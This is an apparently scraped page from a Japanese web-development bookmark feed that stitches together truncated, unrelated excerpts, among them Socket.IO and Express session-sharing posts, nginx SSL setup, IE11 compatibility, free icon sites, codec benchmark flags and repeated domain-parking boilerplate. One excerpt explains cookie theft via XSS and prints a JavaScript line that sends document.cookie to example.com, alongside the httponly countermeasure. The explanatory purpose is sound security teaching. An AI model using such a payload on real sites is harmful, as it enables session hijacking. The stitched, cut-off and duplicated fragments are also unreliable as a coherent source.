この和訳について¶ この文章は Google JavaScript Style Guide を非公式に和訳したものです. 内容の正確性は保証しません. ライセンスは原文と同じく CC-By 3.0 とします. フィードバックは Issue への登録 , あるいは Kosei Moriyama (@cou929 または cou929 at gmail.com) へ直接お願いします. この和訳のリポジトリは こちら です.
この和訳について¶ この文章は Google JavaScript Style Guide を非公式に和訳したものです. 内容の正確性は保証しません. ライセンスは原文と同じく CC-By 3.0 とします. フィードバックは Issue への登録 , あるいは Kosei Moriyama (@cou929 または cou929 at gmail.com) へ直接お願いします. この和訳のリポジトリは こちら です.
そろそろリリースされるかもしれない(?)開発中のSocket.IO 1.0を試したので、0.9からの変更点などをまとめます。ドキュメントがまともにないため主にソースを読んで調べています(つまり間違いがあるかも)。当然リリース時には機能が大きく変更となる可能性があります。 1.0のインストール方法 npmモジュールとしては提供されていないので、githubのmasterブランチをnpmコマンドでインストールします。 $ npm install LearnBoost/socket.io これだけでサーバー側はだいたいOKのはずですが、クライアント側に依存ライブラリの設定などで不具合があるため、socket.io-clientのcomponent.jsonあたりをもろもろ調整します。とりあえず動かしたい場合は、forkして修正したバージョンをインストールしてください。 $ npm install
ちょっとSocket.ioを導入する機会があったので、色々調査したのをメモしておきます。 Socket.ioとは node.jsのnpmとして提供されている、WebSocketを手軽に扱えるモジュールです。 多分すごい有名なので、だいたいみなさん知ってると思います。 他にはwebsocket-serverとかもあるんですが、こっちの方が有名ですかね。 特徴として、クライアントサイドのトランスポートがクロスブラウザなところでしょうかね。とても助かります。 詳しいところは公式サイトを見るといいと思います。 Socket.IO: the cross-browser WebSocket for realtime apps. すんごい出たばっかりの頃にも触ったことがあったんですが、今使ってみると機能がすごい増えててびっくり。 機能の紹介とかは他のサイトを見てもらうとして、備忘録的に自分がやった所なん
追記 11/7/31 Socket.IO v0.7 解説を最初に途中までで出す。 11/8/1 だいたい全部新機能なので '(新機能)' って書くのやめた。 11/8/4 オプションの設定周りを追記 11/8/6 認証周りを追記 11/8/12 スタンドアローンのサンプルを追記 11/9/27 Socket.IO v0.8 対応について追記 11/9/27 タイトルを Socket.IO API 解説に変更 11/9/27 翻訳サイトリンク追加 公式マニュアル翻訳サイト そういえば公式サイトの翻訳をフォークしたリポジトリで、それなりの更新頻度でやってます。 リポジトリの wiki も地味に訳しててこっちは結構役に立ちます。本記事と合わせてどうぞ。 本家 http://socket.io/ 翻訳ページ http://jxck.github.com/socket.io wiki https:/
Socket.IO のサーバは v0.7 からスタンドアローンでも立てられるようになりましたが、 Express のサーバ上に Socket.IO のサーバを同居させる構成は多いと思います。 しかし Socket.IO は Express が HTTP で確立したセッションとは別のコネクションを確立するため、 例えば、 Socket.IO で接続したユーザが Express で認証したユーザかどうか等が判別できません。 そこで、 Socket.IO で接続を確立時に Express のセッション用の Cookie を取得して、接続を識別できるようにし、 さらに Socket.IO でのやり取りが長くなっても、その間にセッションデータが切れることが無いように、更新する必要が有ります。 Socket.IOv0.7 を用いてこれを実現する方法が、こちらで紹介されていたので、試してみました。 So
node.js + socket.io はリアルタイムwebアプリを作るのにとても良い組み合わせだと思っています。 しかし、基本的にsocket.ioのconnectionはhttpのsessionと関連が無いので、例えばそのconnectionがログインしているユーザのものかその他のユーザのものか区別がつかない。以前はSessionWebSocketを使ってそれを判別するようにしていたのだけど、残念なことに残念なのでコレはもう使いたくない。。 そこでclientから最初にcookieを送信してもらって、そこからclientのsessionを識別する、という方法がある、と以前@masahirohさんに教えていただきました。 *1 session共有方法 クライアント側では下記のように接続時にcookieを送信するようにしておき、 var socket = new io.Socket();
This webpage was generated by the domain owner using Sedo Domain Parking. Disclaimer: Sedo maintains no relationship with third party advertisers. Reference to any specific service or trade mark is not controlled by Sedo nor does it constitute or imply its association, endorsement or recommendation.
Create a web service on http://www.a.com/service.asmx and send a cross-domain ajax request to it from http://www.b.com. Check the headers in Firebug, or in Live HTTP Headers, or any other plugin you wish. There is no trace of the X-Requested-With HTTP Header field among request headers. However, if you send an ajax request to the same service from the same domain (say for example http://www.a.com/
Installation This is a Node.js module available through the npm registry. Installation is done using the npm install command: session(options) Create a session middleware with the given options. Note Session data is not saved in the cookie itself, just the session ID. Session data is stored server-side. Note Since version 1.5.0, the cookie-parser middleware no longer needs to be used for this modu
最近あまりネタがないのでが、このままだとまた何週間も投稿なしになりそうなので、以前やった nginx による SSL リバースプロキシの構築方法を備忘録的に書いてみます。開発目的で GAE の dev_appserver.py を SSL 化するために使っただけですが、パッケージシステム等を使わずにソースからビルドし、一般ユーザー権限でインストールする方法にしています。ごく基本的な内容ですが、参考にしていただければ幸いです。 nginx とは nginx は Tornado などと同様の非同期イベントドリブンモデルを採用した HTTP サーバーです。 BSD に似たライセンスのオープンソースソフトウェアとして公開されています。プロセス・スレッドモデルを採用した Apache などよりも多数のコネクションを効率よく処理できるため、多くの高負荷サイトで採用されています。現在 Apache, I
以下は、とても単純なJavascriptによる例。 document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '">'); example.com に対してGET渡しでdocument.cookieが送信される。 取得されたcookieにセッションIDが含まれるとセッションIDが他人に知られるところとなる。 リンクを踏ませるなどの方法でHTML中に上のようなスクリプトを仕込むことができると、攻撃が成立する。 対策例 document.cookieで取得できてしまうから危険なのでは? → 発行するcookieにhttponly属性を付与して、document.cookieで取得できなくしよう WordPressでも以下のような書き方をしていた。PHP5.2.0で追加された第7引数でhttponly
Webkitの要素の検証でCookieをいじっていると、見慣れないカラムに気づきました。気になったので調べました。 HTTP というカラムにチェックボックスが入っています。 ブラウザの要素の検証でCookieを見ると、左から name , value, domain , path, expires , size ,http , secure と並んでいます。 (cookie) expires は期限 path/domain はオリジンの指定 secure は HTTPSだけで使われるCookie 、 http は? secure の逆??だとすると secure / http の両方のチェックが説明できないし、わざわざカラムにして表示しない。 だとすると、なんなのか? http のチェックはなにか? HTTP 通信ヘッダのみで使われるCookieという意味になります。 わかりやすくいえば
This webpage was generated by the domain owner using Sedo Domain Parking. Disclaimer: Sedo maintains no relationship with third party advertisers. Reference to any specific service or trade mark is not controlled by Sedo nor does it constitute or imply its association, endorsement or recommendation.
HTML5でページを作成するときにIEで表示が崩れてしまうことがあります。 IE8以下だとHTML5に対応していないので、正常に表示させる場合は下記のコードを記述する必要があります。 対応させるには「Google Code」で公開されている「html5shiv」スクリプトを使用します。 ■ html5shiv headタグ内に下記のコードを記述します。 <!--[if lt IE 9]> <script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script> <![endif]--> ※JavaScriptをオンにしている必要があります。 ※上記のif文はIE9未満の場合という意味です。 ※新要素のブロックにCSSを設定している場合はCSSの設定よりも先に指定しないとスタイルが反映されません。 上記の方法でも導入
Sublime Text便利ですよね。 マークアップ作業中に、 *Sublime Textで書き換え+保存 *ブラウザをアクティブにして、更新 って、何度やっているでしょう。。 ということで、、 Sublime Textの上書き保存とChromeの更新をワンタッチで行う方法 Browser Reflesh をインストールする Sublime Textに「Browser Reflesh」というパッケージをインストールします。 パッケージのインストール方法は、下記の記事中に解説がありますのでご覧ください。 じっくり解説!Sublime Text 2 プラグイン 「ColorPicker」 - フロントエンドとかPCとかスマホとか キーバインディングを設定する 次に上書き保存と同時にブラウザを更新するためのキーバインディングを設定します。 Sublime Textで、Preferences >
Windows 8.1正式版がMSDNサブスクライバー向けに公開され、それに標準搭載される「IE11」も正式版となった。しかしこのIE11にはWeb制作者に大きな影響がある「互換性」に関する変更が含まれている。 2013年9月10日、MSDN Subscriptionの登録者は、Windows 8.1正式版がダウンロードできるようになった。Windows 8.1の標準ブラウザーであるInternet Explorer 11(以下、IE11)では、互換性に関する大きな変更が加えられている。 ご存じのとおり、IEは、現在も更新されているブラウザーの中では最古参のブラウザーである。ほかのブラウザーが新しく登場して、HTML5などモダンな機能を実装していく中、互換性の課題に引きずられているという問題があった。また、HTML5などのサポートが遅れたため、ほかのブラウザーと同様にモダンな機能を提供して
矢印・コンパス・人物・吹きだしといったスタンダードなアイテムからオンライン上で使えそうな音楽やムービーなどの再生&停止ボタン・音量ボタン・お買い物ボタンや、Android・Windows・Appleのマークなど、さまざまなジャンルのシンプルなベクターアイコン264種類が無料でダウンロードできて商用利用も可能なのが「IKONS」です。 IKONS - 264 free vector icons from Piotr Kwiatkowski http://ikons.piotrkwiatkowski.co.uk/ 264種類のシンプルなアイコンセットは以下のような感じ。 ダウンロードするにはまず「DOWNLOAD」ボタンをクリック。 ダウンロードする前にライセンスを読んで下さい、と表示されます。ライセンスにはIKONSが無料で個人&商用利用可能であること、変更や修正は可能ですが改変を加えたアイ
FINDJOB! 終了のお知らせ 2023年9月29日にFINDJOB!を終了いたしました。 これまでFINDJOB!をご利用いただいた企業様、求職者様、様々なご関係者様。 大変長らくFINDJOB!をご愛顧いただき、誠にありがとうございました。 IT/Web系の仕事や求人がまだ広く普及していない頃にFind Job!をリリースしてから 約26年間、多くの方々に支えていただき、運営を続けてまいりました。 転職成功のお声、採用成功のお声など、嬉しい言葉もたくさんいただきました。 またFINDJOB!経由で入社された方が人事担当になり、 FINDJOB!を通じて、新たな人材に出会うことができたなど、 たくさんのご縁をつくることができたのではないかと思っております。 2023年9月29日をもって、FINDJOB!はその歴史の幕を下ろすこととなりましたが、 今後も、IT/Web業界やクリエイティブ
ホームOld【無料・商用可】デザイン・資料に最適!シルエットベクター素材15,000個以上「All-Silhouettes.com」 どうも、やなぎさわです。無料で商用可のシルエットベクター素材がダウンロードできるサイト「All-Silhouettes.com」をご紹介します。 何が良いて、325種類のセットがあり、総数でなんと15,000個以上ものシルエットベクター素材があるそうです。 見つからないシルエットは無いのではないでしょうか!デザインや提案資料などに使うのに便利ですよ。 最強のシルエット素材「All-Silhouettes.com」 とにかく何も考えずに探してみてほしいです。Search機能があるので、この時期でいうと「snow」で検索するとクリスマス系などのシルエットが出てきます! 素材データは全て、ベクターデータですので、Adobe Illustrator、Photosho
「Exray(エクスレイ)」は1〜3カラムまで簡単にレイアウトを変更することができ、色要素以外にはデザイン性がほぼないシンプルなWordPr…
Themegraphyは6000以上のWordPressテーマを見てまわった中から、約300のWordPressテーマを厳選して掲載しているサイトです。しかし、中には300テーマでも多いという人もいると思います。 そこで、ここでは300テーマの中でも特におすすめの約50テーマを次の分類ごとに紹介します。分類ごとに紹介数が違いますが、これはおすすめできるテーマの数の違いによるものです。 ブログ マガジン・ニュース ビジネス ポートフォリオ ギャラリー eコマース その他 なお、テーマの中にはアフィリエイト提携をしているものもありますが、アフィリエイトの有無によって評価を変えるようなことはしていません。 ブログ いわゆるブログで使えるWordPressテーマを紹介します。ブログテーマはとにかく数が多く、無料テーマも大量にあります。しかし無料で質の高いテーマはそれほど多くはありません。初心者のう
bpgenc-0.9.1 -m 8, with x265-1.4+189 --aq-mode 1 --deblock -1:-1 --crf $Q cjpeg-mozilla-3.0 -dc-scan-opt 2 -quality $Q kdu_compress-7.4 -no_info -full -precise -slope $Q jxrencapp-1.1+ccf11047dbec -q $Q cwebp-0.4.2 -m 6 -pass 10 -size $Q Medium images were first encoded with bpgenc at 19 CRF filesizes. Medium is 60% of Large. Small is 60% of Medium. Tiny is 60% of Small. Everything else was matche
やりたいこと 自分の作るWebアプリでもGithubのように絵文字を入力できるようにしたい さらにコロン( : )スタートで快適にサジェストしたい 完成イメージ ※このテキストはWebチャットアプリ「DevHub」に絵文字対応を行った手順を元になるべく最短ルートで実現できる方法を記述しています。不明点や詳細については各プラグインのドキュメントを参照ください。 使うもの emojify.js http://hassankhan.github.io/emojify.js/ チートシート(入力時の参考に) http://www.emoji-cheat-sheet.com/ jquery-textcomplete http://yuku-t.com/jquery-textcomplete/ 絵文字を表示できるようにする emojify.js を html ヘッダで読み込んでおく。 emoji 用の
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く